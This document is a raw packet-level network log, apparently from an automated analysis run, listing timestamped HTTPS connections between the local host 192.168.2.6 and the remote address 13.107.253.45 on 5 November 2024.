Nov 5, 2024 20:51:08.598216057 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.598401070 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.598809004 CET	49731	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.598815918 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.598906994 CET	49734	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.598920107 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.599143028 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.599375963 CET	49734	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.599381924 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.599524021 CET	49731	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.599528074 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.599639893 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.599647045 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.600120068 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.600125074 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.601382017 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.601725101 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.601742029 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.602099895 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.602106094 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.612607002 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.612899065 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.612922907 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.613322020 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.613326073 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.734287977 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.734576941 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.734632969 CET	49734	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.734695911 CET	49734	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.734695911 CET	49734	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.734716892 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.734725952 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.735722065 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.735753059 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.735816002 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.735826969 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.735867023 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.735959053 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.735963106 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.735976934 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.736018896 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.736054897 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.736300945 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.737849951 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.737869978 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.737921953 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.737931013 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.738034964 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.738085985 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738358021 CET	49735	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738379955 CET	443	49735	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.738450050 CET	49735	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738472939 CET	49736	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738490105 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.738578081 CET	49736	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738642931 CET	49735	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738653898 CET	443	49735	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.738769054 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738775969 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.738785982 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738789082 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.738886118 CET	49736	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.738897085 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.740966082 CET	49737	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.740987062 CET	443	49737	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.741043091 CET	49737	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.741153955 CET	49737	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.741167068 CET	443	49737	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.753344059 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.753370047 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.753415108 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.753426075 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.753470898 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.753617048 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.753617048 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.753622055 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.753633976 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.753670931 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.755431890 CET	49738	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.755441904 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.755695105 CET	49738	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.755806923 CET	49738	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.755815983 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.947139025 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.947243929 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.947384119 CET	49731	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.947563887 CET	49731	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.947577953 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.947587967 CET	49731	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.947592974 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.950337887 CET	49739	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.950346947 CET	443	49739	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:08.950403929 CET	49739	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.950640917 CET	49739	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:08.950648069 CET	443	49739	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.481424093 CET	443	49737	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.481967926 CET	49737	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.481978893 CET	443	49737	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.482434988 CET	49737	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.482439995 CET	443	49737	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.487700939 CET	443	49735	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.488233089 CET	49735	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.488250971 CET	443	49735	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.488672018 CET	49735	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.488676071 CET	443	49735	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.497802973 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.498683929 CET	49736	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.498698950 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.499233007 CET	49736	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.499238968 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.521864891 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.522335052 CET	49738	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.522346020 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.522814989 CET	49738	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.522819996 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.615616083 CET	443	49737	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.615792036 CET	443	49737	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.615878105 CET	49737	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.616053104 CET	49737	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.616060972 CET	443	49737	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.620243073 CET	49740	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.620281935 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.620348930 CET	49740	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.620532990 CET	49740	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.620544910 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.623219013 CET	443	49735	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.623577118 CET	443	49735	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.623626947 CET	49735	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.623656988 CET	49735	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.623663902 CET	443	49735	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.625718117 CET	49741	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.625737906 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.625855923 CET	49741	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.625973940 CET	49741	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.625987053 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.635654926 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.635931969 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.635983944 CET	49736	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.636023045 CET	49736	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.636029959 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.636050940 CET	49736	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.636054993 CET	443	49736	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.638194084 CET	49742	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.638207912 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.638261080 CET	49742	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.638370037 CET	49742	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.638381004 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.660331964 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.660423040 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.660514116 CET	49738	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.660548925 CET	49738	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.660564899 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.660574913 CET	49738	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.660578966 CET	443	49738	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.662915945 CET	49743	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.662938118 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.663009882 CET	49743	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.663131952 CET	49743	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.663145065 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.709121943 CET	443	49739	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.709628105 CET	49739	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.709639072 CET	443	49739	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.710082054 CET	49739	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.710086107 CET	443	49739	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.851063013 CET	443	49739	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.851113081 CET	443	49739	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.851377010 CET	49739	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.851377964 CET	49739	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.851394892 CET	49739	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.851402044 CET	443	49739	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.854167938 CET	49744	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.854187012 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:09.854362965 CET	49744	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.854455948 CET	49744	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:09.854463100 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.372227907 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.372874975 CET	49740	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.372906923 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.374506950 CET	49740	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.374514103 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.376410007 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.376780987 CET	49742	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.376796007 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.377135038 CET	49742	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.377140045 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.377564907 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.377823114 CET	49741	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.377832890 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.378546000 CET	49741	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.378551960 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.436729908 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.437128067 CET	49743	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.437146902 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.438510895 CET	49743	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.438515902 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.510215044 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.510289907 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.510792017 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.510831118 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.510854006 CET	49740	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.510890007 CET	49740	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.510890961 CET	49740	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.510902882 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.510914087 CET	443	49740	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.510921955 CET	49742	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.510966063 CET	49742	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.510966063 CET	49742	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.510970116 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.510979891 CET	443	49742	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.513183117 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.513253927 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.513351917 CET	49741	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.513447046 CET	49741	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.513447046 CET	49741	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.513453960 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.513461113 CET	443	49741	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.513683081 CET	49745	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.513700008 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.514106989 CET	49746	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.514118910 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.514188051 CET	49746	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.514189005 CET	49745	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.514447927 CET	49745	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.514458895 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.514492035 CET	49746	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.514502048 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.516223907 CET	49747	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.516232967 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.516350031 CET	49747	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.516732931 CET	49747	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.516738892 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.574199915 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.575088978 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.575424910 CET	49743	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.575495958 CET	49743	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.575495958 CET	49743	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.575501919 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.575504065 CET	443	49743	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.578212976 CET	49748	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.578223944 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.578603983 CET	49748	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.578757048 CET	49748	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.578766108 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.600861073 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.601326942 CET	49744	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.601332903 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.602504015 CET	49744	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.602508068 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.737595081 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.737695932 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.737745047 CET	49744	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.737895966 CET	49744	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.737910986 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.737915039 CET	49744	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.737921000 CET	443	49744	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.740329027 CET	49749	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.740365982 CET	443	49749	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:10.740495920 CET	49749	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.740617037 CET	49749	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:10.740629911 CET	443	49749	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.255275011 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.255490065 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.256509066 CET	49746	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.256525040 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.257884026 CET	49746	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.257890940 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.261514902 CET	49745	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.261544943 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.262053013 CET	49745	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.262065887 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.294132948 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.294615984 CET	49747	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.294630051 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.295068026 CET	49747	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.295073032 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.340914965 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.341284990 CET	49748	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.341300964 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.341702938 CET	49748	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.341707945 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.388796091 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.388952971 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.389008045 CET	49746	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.389108896 CET	49746	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.389117002 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.389131069 CET	49746	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.389134884 CET	443	49746	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.391443014 CET	49750	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.391460896 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.391695976 CET	49750	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.391829014 CET	49750	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.391839981 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.392265081 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.392604113 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.392647982 CET	49745	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.392672062 CET	49745	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.392680883 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.392688990 CET	49745	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.392693043 CET	443	49745	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.394316912 CET	49751	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.394355059 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.394479990 CET	49751	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.394630909 CET	49751	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.394644022 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.433830023 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.434149981 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.434204102 CET	49747	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.434247971 CET	49747	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.434252024 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.434261084 CET	49747	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.434263945 CET	443	49747	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.436549902 CET	49752	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.436578035 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.436847925 CET	49752	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.437057972 CET	49752	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.437067986 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.481204033 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.481259108 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.481306076 CET	49748	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.481446028 CET	49748	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.481453896 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.481462002 CET	49748	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.481466055 CET	443	49748	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.483472109 CET	49753	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.483498096 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.483565092 CET	49753	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.483711958 CET	49753	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.483722925 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.499407053 CET	443	49749	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.499799013 CET	49749	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.499814034 CET	443	49749	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.500219107 CET	49749	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.500224113 CET	443	49749	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.640628099 CET	443	49749	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.640738010 CET	443	49749	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.640789986 CET	49749	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.641047955 CET	49749	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.641069889 CET	443	49749	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:11.643451929 CET	49754	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.643467903 CET	443	49754	13.107.253.45	192.168.2.6
